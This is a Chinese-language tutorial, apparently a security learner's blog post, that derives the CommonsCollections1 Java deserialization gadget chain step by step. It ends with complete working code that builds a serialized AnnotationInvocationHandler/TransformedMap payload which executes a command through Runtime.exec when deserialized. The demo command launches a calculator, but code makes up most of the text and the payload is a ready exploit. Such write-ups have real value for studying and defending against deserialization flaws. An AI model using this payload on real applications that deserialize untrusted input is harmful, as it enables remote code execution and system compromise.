什么是CC链
CC(Common Collections)是Java中常用的集合框架之一,它提供了一组常见的容器类,如ArrayList、HashMap等。然而,CC链(CC chain)是指利用Common Collections框架中的漏洞来构建的一种攻击链。
CC1
java版本:8u65
既然都是cc链了,肯定要有cc依赖,cc版本是3.2.1
依赖:
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
分析
起点:CC下的Transformer。
快捷键
我们使用ctrl
+ alt
+ b
查看实现的类。
其中我们要用的是InvokerTransformer中的transform。
能注意到有任意代码执行的反射调用。
但在此之前我们要知道,任意命令执行,我们应该在哪里执行命令:
Runtime.getRuntime().exec("calc");
有了这个,我们再改成反射调用的格式。
注意:打出Runtime.getRuntime();
点击alt
+enter
就可以自动补全。
改成普通反射的写法:
// * 改成反射
Runtime runtime = Runtime.getRuntime();
Class aClass = runtime.getClass();
Method exec = aClass.getMethod("exec", String.class);
exec.invoke(runtime, "calc");
然后按照InvokerTransformer实例化和transform执行的所需参数填入内容(重新实现这个反射):
// * 改成所需的语句格式
Runtime runtime = Runtime.getRuntime();
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
然后我们需要找到如何才能调用这里,快捷键ctrl
+ shift
+ alt
+ F7
查询方法
通过这种方式来找到所需要的上一个方法。
最后找到TransformedMap中的decorate方法来赋值。
想实现这个函数,查看其实例化方法。
并有其赋值decorate方法:
就是说要让其中的valueTransformer是执行的transfrom的InvokerTransformer。
于是可以编写出代码:
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// * 往回找,直到能readObject
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
// * keyTransformer没用
TransformedMap.decorate(objectObjectHashMap, null, invokerTransformer);
这样写就可以调用transform方法。
然后再找如何能调用checkSetValue方法,查找之后发现只有一处AbstractInputCheckedMapDecorator:
可以发现这个类是TransformedMap类的父类,其中的MapEntry的setValue调用了这个方法。
而遍历Map的一种写法是:
for (Map.Entry entry : objectObjectHashMap.entrySet()) {
entry.setValue();
}
这样就能调用到其中的setValue方法。
其中setValue中传入runtime参数即可运行。
然后就是继续找,如果有readObject下的调用就直接使用。
找到AnnotationInvocationHandler的readObject方法下setValue方法。
但由于实例化方法不是public,因此只能在包内调用,也就是说只能用反射来调用。
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// * 获取构造器
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object object = declaredConstructor.newInstance(Override.class, decorate);
serialize(object);
deserialize("ser.bin");
最后再加上序列化和反序列化:
public static void serialize(Object object) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(object);
}
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object obj = objectInputStream.readObject();
return obj;
}
但还有问题,第一个是setValue的那个传入值是不可以控制的,第二个则是Runtime是不可以被序列化的。
第一个问题
先解决如何使用Runtime。
虽然,runtime不可以被序列化,但是它的class可以,于是可以写出:
Class<Runtime> runtimeClass = Runtime.class;
Method getRuntime = runtimeClass.getMethod("getRuntime", null);
Runtime runtime = (Runtime) getRuntime.invoke(null, null);
Method exec = runtimeClass.getMethod("exec", String.class);
exec.invoke(runtime, "calc");
然后改成InvokeTransformer的版本:
// * 将格式改为InvokeTransformer
Method runtimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(runtimeMethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
可以使用chainedTransformer简化:
// * 可以使用chainedTransformer来简化,递归调用
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
第二个问题
然后就需要断点调试。
给AnnotationInvocationHandler这里打上断点。看看是否能进去。
我们可以注意到,由于memberType是空我们无法进入:
我们需要找到一个有成员方法的class。key改为名字
这里没有key这个参数,target中有value这个参数。
我们改成value试一试,然后将注释改为target。
再次断点。
但是无法修改最后的value的值,可以使用其中的ConstantTransformer来。
也就是在这里加一个让他在Runtime.class中。
ConstantTransformer被传入什么,transform之后就会返回什么。
最后终于可以成功执行了。QWQ
完整代码:
package fun.natro92;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void serialize(Object object) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(object);
}
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object obj = objectInputStream.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
// Runtime.getRuntime().exec("calc");
// * 改成反射
// Runtime runtime = Runtime.getRuntime();
// Class aClass = runtime.getClass();
// Method exec = aClass.getMethod("exec", String.class);
// exec.invoke(runtime, "calc");
// * 改成所需的语句格式
// Runtime runtime = Runtime.getRuntime();
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// // * Runtime不可序列化,改为class
// Class<Runtime> runtimeClass = Runtime.class;
// Method getRuntime = runtimeClass.getMethod("getRuntime", null);
// Runtime runtime = (Runtime) getRuntime.invoke(null, null);
// Method exec = runtimeClass.getMethod("exec", String.class);
// exec.invoke(runtime, "calc");
// // * 将格式改为InvokeTransformer
// Method runtimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
// Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(runtimeMethod);
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
// * 可以使用chainedTransformer来简化,递归调用
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);
// * 往回找,直到能readObject
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
objectObjectHashMap.put("value", "value");
// * keyTransformer没用
Map<Object, Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);
// for (Map.Entry entry:decorate.entrySet()){
// entry.setValue(runtime);
// }
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// * 获取构造器
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object object = declaredConstructor.newInstance(Target.class, decorate);
serialize(object);
deserialize("ser.bin");
}
}